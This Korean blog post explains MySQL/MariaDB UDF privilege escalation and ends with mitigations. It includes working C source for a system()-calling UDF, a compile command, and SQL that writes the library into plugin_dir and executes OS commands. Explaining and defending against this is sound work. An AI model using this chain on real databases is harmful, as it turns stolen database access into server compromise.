[Pwn] Pwnable · 작성: 2026-07-20 03:01:37 · 조회 7
프로젝트 글(WHS3 SIEM/SOAR)에서 "UDF 기반 DB 권한 상승(LPE)"라고만 언급하고 넘어간 부분이 있는데, 이 기법 자체가 SQLi/DB 계정 탈취를 OS 레벨 권한으로 넘기는 핵심 다리라서 따로 깊게 다룰 만하다. DB 서버 하나 털렸다고 거기서 끝나는 게 아니라는 걸 보여주는 대표적인 케이스다.
UDF(User-Defined Function)는 MySQL/MariaDB에서 SQL 문법만으로는 표현하기 어려운 기능을, 외부 공유 라이브러리(Linux는 .so, Windows는 .dll)로 작성해서 SQL 함수처럼 등록해 쓰는 확장 기능이다. CREATE FUNCTION으로 라이브러리 안의 심볼을 SQL 함수 이름에 연결해두면, 그 이후로는 SELECT my_func(...)처럼 평범한 함수 호출로 실행된다.
문제는 이 라이브러리 코드가 mysqld(DB 서버) 프로세스 안에서 직접 실행된다는 점이다. 즉 라이브러리 안에 system() 같은 걸 호출하는 함수를 심어두면, SQL 쿼리 한 줄로 mysqld 프로세스의 권한(보통 mysql 계정, 환경에 따라 더 높은 권한인 경우도 있다)으로 임의의 OS 명령을 실행할 수 있다. SQL Injection이나 DB 계정 탈취로 얻은 "DB 안에서의 권한"이 "OS 명령 실행"으로 바뀌는 지점이 바로 여기다.
이 기법이 아무 DB에서나 되는 건 아니다. 최소한 아래가 갖춰져야 한다.
secure_file_priv 설정: 이 값이 특정 디렉터리로 제한되어 있거나 NULL이면 INTO DUMPFILE로 임의 경로에 쓰는 게 원천 차단된다. 최신 MySQL/MariaDB는 기본값이 빈 문자열이 아니라 제한된 경로라, 실전에서 이 기법이 막히는 가장 흔한 이유다.plugin_dir 쓰기 권한과 경로 파악: MySQL은 plugin_dir에 있는 라이브러리만 UDF로 로드한다. (과거 버전에는 plugin_dir 밖에 심어도 로드되던 취약점(CVE-2016-6663 등)이 있었지만, 지금은 대부분 패치됨)CREATE FUNCTION 권한: 보통 관리자급 계정에만 부여된다.즉 "SQLi로 DB 접근권을 얻었다"와 "UDF로 LPE가 가능하다" 사이에는 위 조건들을 만족하는지 확인하는 단계가 반드시 필요하다.
MySQL UDF는 세 함수로 구성된 규약을 따른다: 초기화(xxx_init), 실제 로직(xxx), 정리(xxx_deinit). 명령 실행용 UDF의 최소 구현은 이렇게 생겼다.
#include <mysql.h>
#include <stdlib.h>
#include <string.h>
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) {
strcpy(message, "sys_exec() requires one string argument");
return 1;
}
return 0;
}
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (args->args[0] == NULL) return 1;
return system(args->args[0]);
}
void sys_exec_deinit(UDF_INIT *initid) {}
MySQL 헤더를 링크해서 공유 라이브러리로 컴파일한다.
gcc -shared -fPIC -o udf.so udf.c -I/usr/include/mysql
DB 접근 권한만으로 파일을 올려야 하므로, 컴파일된 바이너리를 헥스로 인코딩해서 SQL로 그대로 써넣는 방식을 쓴다.
-- 1) 컴파일된 .so를 hex로 인코딩한 값을 plugin_dir에 파일로 기록
SELECT UNHEX('<컴파일된 udf.so를 hex로 덤프한 값>') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
-- 2) 라이브러리 안의 심볼을 SQL 함수로 등록
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
-- 3) 이제 평범한 함수처럼 호출 가능
SELECT sys_exec('id > /tmp/out; chmod 666 /tmp/out');
Windows 대상이면 .dll로 컴파일하고, plugin_dir도 보통 C:\...\MySQL\lib\plugin 형태로 다르다는 점만 바뀔 뿐 원리는 동일하다.
이 과정을 손으로 다 하는 경우는 드물다. 대표적으로:
--os-shell, --udf-inject 옵션이 위 과정(라이브러리 업로드 → CREATE FUNCTION → 호출)을 자동 수행한다.exploit/multi/mysql/mysql_udf_payload 모듈이 동일한 기법을 자동화해준다.다만 원리를 모르고 도구만 돌리면, secure_file_priv에 막혀서 실패했을 때 "왜 안 되는지"를 진단하지 못하고 거기서 멈춘다. FILE 권한이 없는 건지, secure_file_priv가 막고 있는 건지, plugin_dir 경로를 못 찾은 건지를 구분하려면 결국 위 단계를 이해하고 있어야 한다.
secure_file_priv를 빈 문자열이 아니라 특정 디렉터리 또는 NULL로 설정해서 임의 경로 쓰기를 원천 차단한다.FILE, CREATE FUNCTION 같은 고권한을 절대 부여하지 않는다 — 최소 권한 원칙.plugin_dir에 대한 쓰기 권한을 mysqld 서비스 계정 외에는 전부 제거한다.plugin_dir에 새 .so/.dll이 생성되는 걸 실시간 탐지하고, CREATE FUNCTION 실행 자체도 감사 로그로 남겨서 알림을 걸어두면 대응 시간을 크게 줄일 수 있다.DB 계정 하나가 뚫렸다고 거기서 진단이나 공격 시나리오가 끝나는 게 아니다. SQLi나 DB 계정 탈취 시나리오를 설계할 때는, 그 다음 단계로 UDF 기반 LPE가 가능한 조건(FILE 권한, secure_file_priv, plugin_dir 쓰기 권한)이 갖춰져 있는지까지 같이 점검하는 습관이 실전에서 진단 범위를 훨씬 정확하게 만들어준다.